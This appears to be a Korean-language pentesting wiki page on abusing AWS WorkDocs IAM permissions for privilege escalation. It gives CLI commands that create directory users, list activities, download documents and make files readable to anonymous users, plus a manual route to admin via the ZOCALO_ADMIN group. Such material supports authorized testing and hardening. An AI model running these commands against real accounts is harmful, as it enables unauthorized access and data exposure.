AWS - WorkDocs Privesc
Reading time: 1 minute
WorkDocs
WorkDocs에 대한 자세한 정보는 다음을 확인하세요:
AWS - Directory Services / WorkDocs Enum
workdocs:CreateUser
지정된 디렉토리 내에 사용자를 생성하면 WorkDocs와 AD 모두에 접근할 수 있습니다:
bash
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
workdocs:GetDocument
, (workdocs:DescribeActivities)
파일에는 민감한 정보가 포함될 수 있으므로 읽어보세요:
bash
# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>
# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."
# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>
workdocs:AddResourcePermissions
읽을 수 있는 권한이 없으면, 그냥 권한을 부여할 수 있습니다.
bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>
workdocs:AddUserToGroup
사용자를 ZOCALO_ADMIN 그룹에 설정하여 관리자로 만들 수 있습니다.
이를 위해 https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html에서 지침을 따르십시오.
해당 사용자로 workdoc에 로그인하고 /workdocs/index.html#/admin
에서 관리 패널에 접근합니다.
cli를 통해 이를 수행할 방법을 찾지 못했습니다.